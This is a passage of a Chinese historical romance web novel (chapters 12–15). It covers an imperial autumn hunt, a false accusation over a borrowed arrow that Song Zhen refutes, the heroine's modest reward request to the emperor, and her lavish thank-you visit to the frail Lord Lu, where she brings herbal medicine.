后半句话李一彦没有说出口,但看向她时的,目光里的迟疑让阮绮华几乎是瞬间便会了意。
“……”她真是,搬起石头打自己的脚。
就不该提起这话来。总不能当着正主的面说自己为了他来的秋闱吧。
阮绮华颇为无奈地看了眼身前的陆临渊,压低声音含含糊糊道,“只是临时起意报了名,下山时走错了路罢了。”
“那您为何会”李一彦止住了话头,方才阮姑娘背对着那人,大人又忙着救人,他站在后面,可是看得清楚。
阮姑娘身后一把背起背篓,鬼鬼祟祟溜走的,分明是那位。
一时间两人相对无言,都噤下声,谁也不肯再开口。
一路沉默着到了猎场,天色已然完全黑了下来。
有人站在山脚着急地张望,竟要不顾仆从的阻拦想要闯上山去。
“阿爹!”
见到阮绮华出现,阮富明急急地走到女儿身前。
“华儿,可有受伤?可有不适?”
“不是答应阿爹要注意好自己的安危,怎的将自己折腾成这样?”
阮富明满眼心疼地看着女儿,手止不住地颤抖。
他在山下苦苦等待,从正午时分,盼到如今太阳落山。
原是在陛下的帐篷中与同僚同坐,谁知其他公子儿郎都陆陆续续下了山,只有他的华儿不见踪影。
身边柳尚书一家的谈论,以及柳如霜关心的问询,更是让他心头猛跳,险些站立不稳。
“下山时似乎听见了野猪的嚎叫声,阮大人,绮华妹妹还未下来吗?”
听到问询的彼时,久经商场的他,竟害怕到失态地冲出帐篷,若不是时间未到,他恨不得立马上山,亲自寻找。
他就这一个宝贝女儿,如珠如宝地捧着长大,恨不得将金山银山绫罗绸缎都捧到她面前,何时见过她如此狼狈的模样。
“阿爹,女儿吉人天相,怎会有事,那不过是在山上行走时惹上的脏污。您快看我带回来的猎物!”
阮绮华安抚住父亲,指着李一彦手中提着的猎物向他说道。
阮富明这才注意到后方站着的二人。
“陆大人这是……”
“公务在身,凑巧遇见令爱,便护送下山了。眼下既已安全抵达,若无事,还请允许晚辈先行告辞。”
说罢,他示意身旁的副使将猎物递给了阮氏家仆。
不待阮绮华说些什么,瘦削单薄的背影便消失在茫茫夜色中。
阮氏父女静默半响。方才李一彦单手拖行在阴影处,阮父尚且没意识到,如今在火光的照耀下,他才发现这狼足足需要两位家仆合力才能抬起。
从后心贯穿到前胸的箭矢显然也不是阮绮华的杰作。
他无言地看着女儿。
“华儿,陆大人又救了你一命。”
“大人,围猎的时限将至,是否要先同小姐去那边的帐子?”
阮富明颔首,“华儿,先随我过去吧。”
12. 欺君
宽大的桌子上铺着兽皮毛毯,背后的龙椅上,少年帝王面色沉稳地环视众人。
“陛下,本次参与秋闱的各家猎物已经清点完毕。”司礼太监冯保躬身行礼,毕恭毕敬地向陛下示意。
“从数目来看,赵氏二公子、柳氏二小姐与林氏小公子三位,取得的猎物均为十三头,种类上也基本一致。将军府宋臻取得的猎物与季翰林多两头,为十七。”
“不错,将门后代,巾帼不让须眉。”
景仁帝面露肯定,对宋臻微笑示意赞赏。周边朝臣见势,纷纷跟随陛下赞扬,“宋大将军后继有人,天佑大雍!”
将军宋衍戎马半生,膝下没有儿郎,三十岁才得了这样一个独女。众人本以为会养成娇贵之辈,如今一看,英姿飒爽,不输男儿。
被一众朝臣包围着的宋臻昂首立在帐中,宋将军今日未到场,她独自前来,轻装上阵取得不俗成绩,也不露一丝怯意,落落大方地躬身行礼道谢。
“陛下且慢。”在众人为宋臻庆贺时,被压了一头的季赫楚向身边的司礼太监提出异议。
“季爱卿可有异议?”景仁帝眉头微蹙,敛起笑容。
质疑帝王可不是一个明智之举,平时如清风郎朗般的季翰林,怎会如此莽撞?在场众人面色各异,再看离季赫楚最近的柳家小姐。
她倒是面色轻松,一副胸有成竹的模样。
冯保低垂着眉眼,心头飞速思考,季大人今日葫芦里卖的什么药。取得第二名已然是成绩斐然,若不是有容妃这层关系在,旁的人怕是断断不敢质疑陛下的,更不用说让陛下还答应了复查的请求。
他将季赫楚的猎物分拣出,一件件重新清点起季赫楚的战利品。
“这是……!”手摸到了一个软软带刺的东西,“陛下!”
他将那东西用双手捧起来,到了光亮处。方才在阴影中看不真切,他居然险些就将它与寻常野兔混为了一谈。
看清冯保手上东西的众人,也不由自主发出了惊呼。
“是,野猪?!”
这野猪幼崽大概是刚出生不久,身长不足一尺,上面的褐色条纹也尚且看不真切,此刻完全暴露在众人的目光中,惹得众位官家皆是一惊。
大雍尚文轻武,来参与围猎的各位世家小姐儿郎至多为了名声练过些骑射功夫,实战稍逊。
成年野猪的凶悍,不是一般人可以与之争斗的,幼年的野猪攻击力虽然弱小许多,可身边总有成年野猪的守护,基本无法近身。
观这头幼崽的体型外貌,显然还处于被寸步不离保护的阶段。季赫楚竟然能猎回这样一头猎物来。
众人看向季赫楚的目光多了忌惮,若他不是运气非凡恰好偷猎了幼崽,那么便只有一种可能了。就是用计谋毒害或者引开了成年野猪,但不论是哪一种,都需要过人的胆识和谋略。
“陛下,方才奴才眼拙,将野猪幼崽错认成了野兔。还请陛下责罚。”冯保战战兢兢地跪下,心中有如擂鼓。
好在陛下尚未计较,他摆摆手。“起来吧,我大雍的围猎中,已经多年未曾出现过此类猎物,你一下认不得,也属正常。何况方才光线昏暗,怨不得你。”
头名已收入囊中,季赫楚面上不显激动,旁边的柳如霜却掩饰不住开始兴奋。她的视线在陛下和身边的男人之间游走。
季赫楚在她期待的目光中开了口,“陛下,侥幸获得野猪幼崽一头,微臣愿以此祝贺大雍百年强健。此外,野猪的猎杀,也有柳姑娘一份力,若不是柳姑娘设法将看护的成年野猪引诱开来,微臣今日怕是难以得手。”
“噢?还有柳家的手笔?不妨展开说说柳氏的引诱方法。”
冯保方才谢恩退下,躬身隐在帐篷一角,此时场中的形式,他眼里看的分明。若按照方才的清点,柳如霜的猎物同另外三人相当,能不能进入头三名,取得皇室游船的资格尚未可知。
但在季赫楚的助力下,野猪有柳如霜的一份力,那么功劳可就得算上她的一份了。柳家姑娘,做的一手好打算。
阮氏父女二人踏入帐中时,见到的便是这番场景。
柳如霜含羞带怯地自顾自阐明着自己是如何挑衅野猪,又是如何勇敢地将其引走,给季大人创造偷猎的机会的。其余众人看着高台上面沉如水的帝王,神态各异。
阮富明不动声色观察着形式,然后示意阮绮华随他站在后排。在柳如霜说话的间隙,轻声唤家仆将狼尸抬进来,却并不急着送上。
帐子里的形势有些奇怪,阮富明将阮绮华藏在背后。眼下他只想静观其变。
却不想,他的进入早已被眼尖的冯保发现了。
他适时地低声提示景仁帝,“陛下,阮大人回来了。”
话音刚落,景仁帝神色霎时一变。不顾柳如霜期盼的眼光,他扭过脸去。方才的微微愠色还停留在脸上,双眸却止不住地捕捉阮氏父女的身影。
“阮爱卿既然归来了,令爱想必也一切平安吧?”
尊贵的帝王突如其来的关心让阮富明心中升起疑惑,分明上次宫宴上,景仁帝还因华儿的举动同陆大人起了争执,最后甚至拂袖而去。
如今这是?
在他脑中百转千回的间隙,大厅中的众人已经纷纷看向了他身后的阮绮华。
这下是非得出来了。阮绮华叹了口气,从父亲身后迈出一步,满身的狼狈展示在众人眼前。
“回禀陛下,臣女一切安好,只是方才拖着的猎物沉重,脚程慢了些,还好未曾耽误了时辰。感谢陛下挂念。”
“噢?你还有猎物,在何处?”高台上的人眼神奇怪,语气中掺杂着不可置信。
阮绮华点头,示意暗处的家仆将猎物抬上。
“啊——”
庞大而狰狞的兽尸被两位壮汉合力抬起,动作幅度太大,它胸口的伤处滴滴答答尚且在滴血,经过一路的朝臣家眷。妆容精致的官家夫人小姐们忍不住发出惊呼,有胆小些的,甚至害怕地要往别人身上躲。
人群中一阵又一阵的骚乱,是安抚和惊叫的交织。
与刚才难以辨认的野猪幼崽不同,现在被抬上来的,是一头身长近四尺的,真正的成年野狼。
即便是死去,猛兽的眼睛依然怒睁着,那是可怖的狩猎的眼神。依稀可想象它跳跃扑向猎物时的凶悍。
这样一头体型庞大的凶兽,被人一箭穿透,当场殒命。这,这不得不让人感叹一句恐怖如斯。
胆怯些的小姐已经不再敢直视。沉稳些的朝臣,则是一边感叹阮家小姐与外表完全不相符的神力,一边谨慎地观望着帝王的神色。
柳如霜此刻已经面色灰白,阮绮华怎会有如此的好的箭术,分明是连走山路都走不稳跌倒的废物。当时就该不顾阻拦杀了她!
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杀了她!
等等,她当时跌坐在地时,肩上除了背篓分明没有弓箭!
“咦?阮姑娘,我记得,你上山时,似乎并未带有弓箭。不知这是……?”
狼尸身上从背后贯穿心口的是一柄白色尾羽,精致的箭矢。众人定睛一看,箭身上还有独属紫衫木的印记。
紫衫珍贵,普通朝臣大多用的是榆木制作的箭矢。能用上紫衫木箭矢的达官贵人凤毛麟角,即便是有那么一两个,也不会轻易拿出来使用,只放在家中收藏。
若不是顶级权贵,怎会用到这样的工具?阮家有钱不假,可听柳家小姐一提醒,其他参与秋闱的人,也纷纷响应了阮绮华未曾带箭上山的说法。
朝臣的眼光,改为了游移不定,方才时间紧迫,阮父也尚未思及此事。眼下帐中,突然诡异地寂静起来。
柳如霜哪能不察觉自己抓住了致命的漏洞,此时咬准一处,愈发不依不饶起来。“阮绮华,假冒顶替他人的猎物,还拿到陛下眼前欺骗,你好大的胆子!”
景仁帝面沉如水,“阮氏,你作何解释?”
“我……”“陛下,是臣女的弓箭。”宋臻不卑不亢的声音从后传来,“方才上山时,我险些踩入陷阱,是阮姑娘拉了我一把。我见她未带防身之物,便投桃报李,将备用的弓箭借了给她。”
说着,反手从背后拿出了自己的箭矢,“柳姑娘所说的紫衫木箭矢,将军府恰好有不少,你可要亲自查探?”
柳如霜原本得意的面色控制不住地扭曲起来,为何宋臻会站出来替那个小贱人背书?阮绮华又是何时跟将军府的人搭上的?
她的指甲深深嵌在肉里,眼中迸发出深深的怨毒。该死的贱人!
冯保默默将众人一切举动收入眼中,宋将军在朝中颇有声望,有宋臻背书,理由得当,哪怕说所谓的备用弓箭“落在了山上”,又有谁会真的去山上搜寻?
本次秋闱的形势已成定局。他适时站到陛下身旁开口,“陛下,方才真是误会一遭,如今说清了,也便无伤大雅了。时辰不早,我们是否按照原定安排来办?”
论及成绩,虽然数量上,阮绮华只猎得一头,但单杀的成年野狼无疑是碾压了偷猎的野猪幼崽和众多乱七八糟的小型野物。
可否取得头名尚且不论,前三的位子,毋庸置疑的是有阮绮华一席。
况且,与方才面对柳如霜时,不懂声色的怒意相比,陛下如今的神色,可是带着明显的舒畅。甚至从他这位宫里老人的角度来看,似乎,多了些奇怪的笑意。
果不其然,龙椅上的景仁帝抚掌笑道,“误会便好,阮爱卿,你生了个好女儿啊!朕看,取得如此猎物的人,是可以当之无愧的头名啊!”
体型圆润的林侍郎适时接话,“恭贺阮大人得如此爱女,也恭贺大雍!今日有了野猪幼崽,眼下阮爱卿的爱女又猎回了成年野狼,如此勇猛之朝臣均汇聚我大雍,这是要保我大雍,国运昌隆啊!”
“按照此次秋闱的规定,取得头三名者,可获得与皇室一同游湖的资格,取得头五名者,可随心提出一个需求。”
“阮姑娘,你作为头名,可大胆开口。”
柳如霜的眼神怨毒,盯着她的目光化作实质。众人也齐齐注视过去,按照往年来说,提出的奖励各异,阮家小姐用惯了绫罗绸缎,怕是不知会提出何等昂贵的需求。
13. 人美心善的好姐姐
场面安静下来。只余下帐中的篝火燃得劈啪作响。
不少人都听闻阮家小姐是扔着玉石长大的,世间最华贵的绫罗绸缎都是她司空见惯之物。为了哄这位千金开心,不少珍贵的物品更是存在皇宫一件她一件的情况。
那么她会索要些什么呢?钱财,抑或干脆要个官职?
借着秋闱索要官职的不是没有,围猎的本质是给各家的儿郎女郎一个露脸和展示能力的机会。再说大雍的女官少,但不是没有。阮氏坐拥金山银山,难免被人觊觎,她若借机讨要个女官的位子,凭着阮家的财力稍微活动一下关节,再调到实权的位子……
众人的目光中难免掺杂八卦和好奇,阮姑娘说出的越稀奇,名次靠后的人能提要求的范围便越是大。
阮绮华沉默良久,大概在思索措辞。
众人好奇更甚,亲手将自己从第一名的位子送到了第三名的宋臻也不免于外,此时正双手抱臂饶有趣味地等阮绮华开口。
篝火旁边,火星子飞起,溅到她的衣摆,映照她红润的脸庞。她确实并未想到自己能排在第一个,原先设想的低调发言似乎不再适合。只能飞快在脑海中构思新的措辞。
“感恩陛下宽仁。臣女确有所求。”阮绮华抿唇,闭眼,然后抬眼直直地看向龙椅上的帝王,“此番进京,阮氏上下均深深感受到了大雍的繁华与富强,也见识了众多朝堂肱股之臣的宏才大略,对先前的冒昧和激进感到深深的羞愧。”
“今日臣女侥幸猎得野兽,希望以此代表我阮氏向陛下表示衷心,祝愿大雍富强壮大的同时,也想为阿爹求一份禄根[1]。为大雍尽力。”
少女的声音有着特有的雍容,此番刻意地说些正经话,少了几分平日里的慵懒,更多地表露出年轻的意气风发。
费劲取得如此好成绩,却只是为阮父求一份禄根。这难免有些投机取巧,溜须拍马哄陛下欢心的嫌疑。
待求赏的其他四人则表情各异。
宋臻不知道阮家小姐心里打的何种主意,在场的,除了阮氏父女,也许都对此感到惊讶。她起了质疑的心,狐疑地看着阮绮华。
家境类似,将将卡在第五名的林、赵两家公子笑容僵在脸上,不约而同地臊眉耷眼起来。
一天白干了?!好不容易今年可以求赏的名额由三个扩到了五个,他们俩哼哧哼哧在山上跑了一下午,到头来稀粥变米汤,还得装视金钱如粪土。
苍天啊!
二人心中默默流泪,无语问苍天。
他俩倒是期盼着头几位能站出来换换画风,可惜世家大族本就不是冲着彩头来的。方才阮绮华提完之后,臣子纷纷附和,季翰林、将军府宋姑娘,都很轻松地提了点不痛不痒的小彩头。到了柳如霜,更是干脆向陛下讨了个吉祥话。
他俩再有心思,也只能被按在地上。
憋着说了几句,配上二人褴褛的衣衫,以及摸爬滚打一下午、眼中险些冒出绿光的情态,强装清高的倔强模样属实有些惹人发笑。
始作俑者阮绮华倒是没想到自己的一番话会折腾出这些个事端来。她的目光已经被景仁帝吸引走。
兴许是等得有些疲倦,景仁帝在司礼太监的宣读声中慵懒地半闭上眼。手掌从桌下拿了上来,一只手摩梭着桌面的兽皮,另一只手,则半握拳抵住脸颊,将颊边的肉挤出一个轻微的弧度来。
这是一个很懒散的姿势,像打盹的危险大猫。
她敏锐地注意到了半握拳的那只手。从她的角度看去,景仁帝的这只手掌心暴露在了视线中。
烛光恰好照在了这一侧,她看得分明。
细长的红色擦痕和微微翻起的皮肉……
她低头,不动声色地看了眼自己的手。
原本白嫩的掌心,此时布满了伤痕。这是她在拖拽背篓时,被粗粝的麻绳擦伤的。
再次看向景仁帝的手,她无比确认,这分明同她一样,是被擦伤了。并且很有可能,同样是被麻绳擦伤的。
那么问题来了,天子金枝玉叶,怎会有机会接触到粗粝的麻绳?
阮绮华一错不错地看向桌案后方,高大的男人。对方似乎尚未注意到她的目光,微微侧过头去,在同身侧的太监交流什么。
今日秋闱,龙椅上的男人换下了繁复的礼服,头上也换上了轻便的掐丝珐琅冠。可不知为何,景仁帝鬓边的发丝有些凌乱,不似平日的一丝不苟,反而有几缕头发散溢在外。
她想起了今日莫名其妙出现,又偷偷顺走了她背篓的眼生文官。她本以为是因为她来京城的日子尚浅,可眼下看来,怎样的文官会偷偷参加围猎又跑掉?
何况,她环顾四周,帐子里似乎并未有那张面孔。
阮绮华盯着高台之上的景仁帝,桌子挡了他的大半部分,她无法通过辨认身形确认身份。可莫名其妙的熟悉感,让她脑中浮现了一个大胆的想法。
她低声询问起身旁的阮父,“阿爹,今日未时至戌时之间,陛下和诸位大臣一同在帐中等待吗?”
阮父不明所以,为何好端端地问起陛下来?自女儿上山后,他的心神仿佛跟着女儿一块上去了,那群同僚的高谈阔论他只是应付几句,现场的情况,还真记不太清。
但看着女儿古怪的面色,阮父只能努力回想。
“似乎……中间好像出去过一段时间。”阮富明有些迟疑地开口,计时的沙漏放置在高台上,他模模糊糊地记得,柳如霜问他阮绮华的行踪时,他着急地撇了一眼沙漏。
那时的桌案后,似乎的确没有陛下的身影。
果然!
而如若上山同她猎杀野猪的是易容后的景仁帝,那么方才碰到同他反目的陆大人便要跑这个事情,便合理了。
她目光灼灼,紧盯着台上的男人,仿佛要将其灼烧出一个洞来,叫他肯定她的猜测。
但目光太为明显了,阮富明已经看到冯公公的视线注意到了这边。
在宽大袖子的遮掩下,阮富明轻轻伸出手,为女儿归拢发丝。状似不经意地提醒道,“华儿,你瞧你,发丝乱了瞧陛下干什么?陛下宽仁,不会计较你的,不必直视官家太久,失了规矩。”
阮绮华这才如梦初醒般意识到自己犯了忌讳,立马低下头。
可冯公公的声音已经响起了。
“哎呀!”他发出一声不大的低呼,“陛下,您这是在哪弄伤了?快快,小允子、小德子,快传太医,给陛下包扎好伤口。”身后的两位小太监接了指令,一溜小跑着出了帐子。
众人的目光也被急急吸引过去。
说罢,他又是一阵焦急的神色,“陛下,动怒伤身啊。您方才同陆大人议事时又动了气,桌上的绸子都被扯断了。奴才该死,一直跟在您身边,竟没能早些察觉。”
天子流血,此为大事。林侍郎和众位大人适时地搭了腔,“陛下,您是大雍的核心,务必要保重龙体啊陛下。”“是啊陛下,保重龙体!”
一时间,帐中此起彼伏的都是呼唤的声音。不知道的,还以为景仁帝身负了重伤。
阮绮华听得一时无言,这帮大臣真是懂的审时度势,有林侍郎带头,喊得这叫一个真情实感。那边还有老臣颤颤巍巍要流泪,哭喊着劝天子务必为了江山社稷重视
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龙体,否则大雍前途渺茫。
她想到将她送回营地后,匆匆消失的陆大人。一时间,也拿不准他是不是急着向陛下汇报了。
不过不管是与不是,冯公公方才说他贴身跟着陛下,那么山上的文臣,便不可能是景仁帝了。
她将心头最后一点疑惑强行抚平,目送阮父和一干臣子簇拥着景仁帝去医治的帐篷。
东南方向,阮绮华看到了同她一样不为所动的宋臻。
她二人默契地对视一眼,彼此的眼中都是心照不宣。
前后走出帐子,见四下无人,阮绮华先开了口。
“今日之事,多谢宋家姐姐解围了。”
阮绮华福身行礼,方才的局面若无宋臻替她背书,确实是有些难以脱身。
“不必,我救你一次,咱俩算是扯平。何况我所说的也并非全是假话。只不过你婉拒了我的备用弓罢了。”宋臻一副气定神闲的模样,懒懒地抱着手。
“你给我的药确实很好用,你走后不过一刻钟,我的伤处已经不再流血,若不是它止住伤处,恢复我的体力,还避免让血腥味引来了大型凶兽,我今日的围猎不一定会如此顺利。”
伤药是上山之前阿爹用来给她以防万一的,小小一枚,效用极大,价值千金。阿爹叮嘱她贴身放好。谁知一上山不久,就发现了体力不支,伤口染血的宋臻。
说是险些踩中现今剐蹭到了,可阮绮华一眼便知,那伤口分明是长枪捅出来的。她看到时,宋臻正咬着牙给伤口拆绷带。
应当是不久之前的伤口,行动之间被撕裂了。血肉模糊的伤处暴露在外,看得人揪心。她虽是商贾出身,却也知道宋大将军战功赫赫,四处征战只为了保家卫国。百姓能有富足稳定的生活,该感谢将军为他们保障安全。
如今既然碰上了,如何能看着对方唯一的血脉如此狼狈?再加上,自己不用暴力手段狩猎,左不过小心些便是。于是将那药大方地给了出去。
没曾想,竟也救了她自己。
不过两步路的距离,到了宋家马车停放的地方。
“听说今日恰好是太医院年纪最大最德高望重的那位来了。”宋臻掀了掀眼皮,失血让她的脸色有些苍白。
宋臻话里的意思她清楚,医者仁心,越年长的越是啰嗦,叮嘱不断。一帮臣子在,不乏有跟风表现的,处理这一点小小的擦伤,怕是要到深夜才能完全结束。累了一天,她确实难以挨到同阿爹一起回府了。
她可不愿在此受苦。于是阮绮华麻利地顺着梯子往上走,期盼地看过去。“如此这般,我怕是有些等不及。宋姐姐人美心善,可否行行好,带上我一同回府呢?”
上层就是这样,彼此都心知肚明的话,非得不点透,假把样式地拉扯两句,才能皆大欢喜。
宋臻摆明了是个不愿主动的心善人,那她来主动便是。
左不过说两句软话。
果然,她撒这个娇,让宋臻耳根子一红,顺理成章就扶着她上了将军府的马车,还不忘贴心地吩咐下人去给阮氏家仆带个信,亲自给阮绮华沏上热茶。
不过不知是马车上阮绮华又逗弄了几句,惹得人不高兴了还是怎的。后半程的宋臻只顾看着窗外,一言未发。
直到阮氏府邸门前,宋臻下马车送她,才屈尊降贵开了口,递出一套精致小巧的弓箭来。
“说好了送你,这把弓箭便是你的了。”
说完往她怀中一放,也不等她反应过来,动作潇洒地回程了。背影颇有几分急切。
只剩下抱着弓箭的女子,与恰好出来换班的陆府门童大眼瞪小眼。
14. 邻居柔弱不能自理
天气愈发冷了,窗子上挂了霜。
这一处院墙却隔开了四季,院中花团锦簇,灯笼高悬;房内烛光点亮,地龙安静地燃烧,暖意融融。
轻柔的薄纱后方,一只手慵懒地搭在浴桶边,一大片的白腻肌肤暴露在橙黄的烛光下,显露出斑驳的淤青。
春桃将布巾打湿了捏在手中,小心翼翼地一寸寸擦拭。这些伤痕在这具身体上太过明显,她心疼地扁扁嘴,语气颇有埋怨。“小姐,不是答应春桃要保护好自己吗?”
手臂的主人似是累极了,懒洋洋地半眯着眼,半撒娇半哄道,“好春桃,我当然是最尽力保护自己的了,但是上山嘛,磕碰难免的。你家小姐英明神武,一举夺魁,你还没夸我呢!”
“我要那魁首作甚?小姐莫要怪春桃多嘴,那姓柳的姓季的都不是什么好的,皇帝还赏什么游船,那游船能有什么稀罕,龙首的多层的,不过是个船,我们宁州多了去了。”
眼见着春桃越说越激动,阮绮华知晓对方是关心她,连忙安抚起来。“好好好,我离他们远远地,什么游船,我怎会稀罕。了不起找个借口溜了便是。”
说罢,凤眼微微抬起,可怜兮兮地嗔道,“好桃儿,我今日也算是差点死在那儿,你就对我温柔些嘛。”“呸呸呸!”春桃被气得柳眉竖起,手上的巾子一放。
“什么死不死的,小姐你净会口无遮拦惹人生气。”
嘶,真生气了。
春桃说是丫鬟,其实陪着她的时间比父母更要长些。眼见着春桃眼眶红红,咬着嘴唇一副气到要落泪的模样,少女自知理亏,从浴桶中起身迈出,任由春桃一边替她擦身一边念她。
然后穿着里衣坐在床边,乖乖地将擦伤的右腿和双手伸出,等待春桃上药。
褪去了外人面前的雍容高傲,少女披着柔软地里衣,裸露着伤处,水润的眸子无辜地看着人的时候,大约不会有人能忍住不心软。
重话说不得,伤处更是碰不得,春桃拿她没办法,只能叹息一声,手上的动作又轻又缓。
“小姐,陆大人那边,你可有什么打算?”
小姐精通医术这件事,知情人不过寥寥几个。匹夫无罪,怀璧其罪。为了保护小姐免遭有心人利用,老爷耳提面命,务必不能在外人面前暴露。
小姐看着肆意,其实心肠最是软,上次听闻小姐说陆大人身子不好,她便忍不住旁敲侧击,得到保证的回复后才放下心来。可如今,陆大人几次三番救下小姐性命……
春桃有些忐忑地看向阮绮华,手上也不自觉用了几分力。
“嘶——”阮绮华忍不住吃痛,轻呼出声,她同春桃之间的了解是互相的,这会儿看着春桃皱起的眉头,和试探的口吻,还能有什么不明白的。
春桃的担忧也不无道理,她确实在发愁如何回报陆大人。旁的人兴许会稀罕黄白之物,可陆大人是谁,对滔天的权势都能保持不为所动的人,送些凡物,怕是反而惹他嫌恶;原先她确实想过替他调理身子,可这次秋闱看来,陆大人……
“陆大人龙精虎猛,眼也不眨便可一箭射杀巨狼。前阵子咳嗽不断,想必也只是受些风寒,并未伤及根本。阿爹阿娘若不放心,我明日带上府医,自己不看诊,让府医瞧瞧便是。”
-
翌日一早,阮绮华便吩咐了下人,将景仁帝赏赐的姜熬了水入了药。自己则是一头扎进库房。
“怎么什么破烂都堆在里头。”阮绮华一边翻找,一边忍不住蹙着眉批判,“俗,大俗。阿爹就不能带些清贵些的物什吗?”
入京带的宝贝不多,放眼望去也不过两个库房。外头的部分不用看了,东一个貔貅西一个金钱树,金灿灿的放着都嫌晃眼。
内室里的情况稍好些,有些阿爹的珍藏。
阮绮华凭记忆翻找,她印象中那东西就跟南山送来的玉如意是放在一个匣子中的……
找到了!
尘封的匣子被打开,鸢尾浮雕的匣面上扬了些灰尘。内室没有窗户,烛光下,细小的灰尘缓缓漂浮。
拿开第一格的玉如意,浅蓝的书封静静暴露在视线中。
是半新不旧的孤本,听说举世难求。阮父偶然得来,宝贝了许久,阮绮华好不容易求着才能给她看一眼,看个一会儿,阮父还得得在一错不错盯着,唯恐她损坏。
这样的东西,送给淡泊如风的陆大人最是合适。
阮绮华满意地合上匣子,吩咐下人仔细放进礼箱中,又抬了十几箱俗物,唤上府医。
正午时分,一行人浩浩荡荡走向了摄政王府的大门。
不过是两步路的距离,还特意请了人吹吹打打,昭告阮氏为了回报陆大人的救命之恩要上门致谢。一行十几人,排在后面的都到了巷子口。路口有凑热闹的百姓,望着系着大红绸子的一抬抬礼箱啧啧称奇。
乌衣巷口,探头探脑的小儿好奇地问爹娘,阮家那位千金真是上门道谢的?这架势,怎的像是抬着聘礼求娶的呢。
摄政王府,开门的小厮被吹打的声音吸引过来,腹诽是谁在这大中午的扰人用饭,见到来人不禁身躯一震,“阮,阮姑娘您这是?”
阮绮华对此甚是满意,人多,阵仗大就对了。她阮家财力雄厚,绝不委屈了她的救命恩人。合该这样大大方方的,让众人都看出她的正当来。
她扬起笑来,“麻烦你禀告陆大人,阮氏绮华上门答谢大人的救命之恩。”
小厮恭敬地应声,将阮绮华一行人迎了进来。边带路,边忍不住挠了挠头,悄悄向后望一眼浩荡的队伍,这架势来道谢……大人应当会很开心吧!
他领着人,将阮姑娘安顿在待客的明礼堂,然后便是一溜小跑。
得第一时间告诉大人才行,这个时候,大人应当也是在用膳。
他小心地踏入大人的院落,“大人,阮姑娘来了,说是上门答谢。正在明礼堂等着,您是……”
话音未落,方才端庄动筷的人,便放了餐具要起身跟他走。可不知想到什么,清瘦的男人又转了主意,对他吩咐道,“请阮姑娘稍等片刻吧,就说我在忙公务,稍等再过来。”然后便转身进了屋。
待到阮绮华又喝了一盏茶,男人才匆匆现身。
远远地冲她道歉,“实在不好意思,让姑娘久等了。方才有些公务亟待处理,是陆某失礼了。”
她倒是不甚介意,接着饮茶,头也没抬便摆摆手。只是心下感叹,陆大人竟忙得连午膳都无暇顾及。这样可不利于调养身体。
正午时分,光线正好。阳光从天井直直地落下,照在那人的脚边,前几次相见时,光线总有阴暗,如今待人
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走近,她才发现这人真是单薄得可怜。
她忍不住蹙起眉,都快入冬了,这人怎的穿的这样少,天青色的外袍虚虚的拢着,本就是白皙的一张脸,阳光的映衬下,恍然间竟让人觉得他要成仙飘走了。
太虚弱了,面上只能看到漆黑如点墨的瞳孔,嘴唇也是薄薄一片,血色不够浓郁。阮绮华的行医的习惯让她忍不住腹诽起这位不好好照顾自己的病人。
“阮姑娘。”陆临渊给她沏茶,笑着同她赔礼。
手背上透出青色的血管来,她紧紧盯着。心中不禁疑惑,这样单薄的身躯,是如何几次三番挡在她的身前,甚至昨日毫不犹疑的拉弓射箭,将她保护下来的。
陆临渊不动声色地翘起嘴角,动作间,袖口又向下滑了些。竟是连里衣都只穿了薄薄一层,露出白净的腕子来。
阮绮华不知对面人的心思,只盯着对面人薄薄的衣裳,颇有些不满地开了口,“大人,公务固然要紧,还是得好生顾着自己的身子。天色转冷,要多穿些。”说着,又将手边的药匣推了推。
“上次大理寺一见,您的寒疾尚未好全,我观您面色苍白,命府医熬了副药。”说着,将匣子内层抽出。
男人一滞,方才的笑容僵在脸上,如此精致的匣子,里头是……?
“里面用的每一味药我都是亲自把关的,不曾多掺水,药效保证,大人可放心服用。”
不,不曾掺水吗?
装着漆黑药汁的药碗被端出来,刺鼻的苦味一个劲往人鼻子里钻。阮绮华微笑开口,“良药苦口利于病,每日正午阳气最重之时沐浴阳光饮下,再去用膳。暖胃健脾,最好出身汗,身子也会松泛些。连服七日,应有好转。”
陆临渊未发一言,只盯着药汁,面露难色。阮绮华有些疑惑,是太烫了吗?她特意放凉了些的。
于是忍不住劝道,“大人,不烫的,已经静置了一炷香的时间,现在应当是刚好能发挥最大效用的时候,乘热喝下,一会儿便可用膳了。”
提到用膳,陆临渊的脸上才有些反应,不知是紧张还是羞涩,脸上有几分不自然的红意。“姑娘可有用膳?姑娘有心带来此等珍贵之物,陆某无以为。若不嫌弃,不妨在寒舍一并用过再回去。”
陛下钦点的摄政王府,世代簪缨的高门大户怎能称的上寒舍。陆临渊这是谦辞。但看着男人真诚的眼,阮绮华也不愿拂了对方的好意。没多犹豫便应了下来。
不过是一个普通的用膳请求被应下了,矜贵的陆大人却满足地冲她扬起笑来,招手唤来下人吩咐午膳,另一只手拿起碗,眼也不眨地仰头将药汁饮尽,速度快得仿佛方才的不情愿都是幻觉。
“多谢阮姑娘的不嫌弃,陆府人丁稀少,平日里总只有陆某一人用膳,总归是有些清冷的。今日阮姑娘在,还请不要拘束,多用些。”
“有什么口味上的问题或偏好,可随时提出,我立刻吩咐后厨调整。七日的疗程,还希望姑娘莫要委屈,吃得舒心才是。”
从方才起就在角落站着的李三悄悄抬眼,瞧见自家大人洒脱的动作,忍不住瞠目结舌。这,这还是他家大人吗?他暗暗下定决心,这得告诉李副使,回头让李大人来验验才行。
厨房内,接到吩咐的婆子丫鬟也忍不住疑惑,今日的大人怎要用两遍午膳?
15. 切莫讳疾忌医
正午的日头正好,方才一碗药下肚,对面的男人脸上已经染上了薄红。终于不再是刚见面时缥缈得仿佛要飞走的样子了。额间甚至微微出了些薄汗,在日光的照耀下如碎金闪闪。
看着陆大人抿起的薄唇,她微微一笑,对自己配药的水准很是满意,这几日几番折腾,应当是划算的。
不过,仿佛突然想起来什么,她缓缓收起面上的笑容,放下了手中的茶盏。
“陆大人,冒昧问一句,柳家的刺杀案可有眉目?为何最近……”最近是否太过风平浪静了?
阮绮华并没有提及上次对柳氏贪污案件进度的疑问。
她心知,柳家是辅佐了大雍两代帝王的老臣,在京多年根系复杂,在朝中举足轻重,仅凭一扇屏风,并不能最为柳家不轨行为的证据,大理寺也不可能仅凭她一句猜测便贸然冲进柳家搜查。
